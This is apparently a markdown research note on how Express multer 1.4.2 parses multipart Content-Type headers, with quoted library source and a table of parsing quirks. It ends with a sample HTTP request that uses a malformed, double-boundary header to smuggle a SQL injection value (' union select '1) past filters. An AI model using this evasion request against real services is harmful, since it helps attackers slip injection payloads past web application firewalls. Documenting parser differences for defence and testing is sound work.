Skip to content

Latest commit

 

History

History
executable file
·
66 lines (54 loc) · 1.6 KB

Express_multer.md

File metadata and controls

executable file
·
66 lines (54 loc) · 1.6 KB

Express multer 1.4.2

Endpoint

var express = require('express')
var app = express()
var multer  = require('multer')
var upload = multer()

app.post('/', upload.none(), function (req, res, next) {
  data = req.body

Source code

/expressjs/multer/lib/make-middleware.js

return function multerMiddleware (req, res, next) {
  if (!is(req, ['multipart'])) return next()

/jshttp/type-is/index.js

function normalize (type) {
  ...
  switch (type) {
  ...
    case 'multipart':
      return 'multipart/*'

/mscdex/busboy/lib/types/multipart.js

Multipart.detect = /^multipart\/form-data/i;

Content-Type

multipart/form-dataXXX

Multipart Content-Type

Check Value
Mime-Type case-insensitive
Multiple boundary first position
Boundary key case-insensitive

HTTP Request

POST / HTTP/1.1
Host: localhost
Content-Type: MULTIPART/FORM-DATAXXX; BOUNDARY=xxx; boundary=yyy
Content-Length: 187

--yyy
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

--xxx
Content-Disposition: form-data; name="q"

' union select '1
--xxx--
--yyy--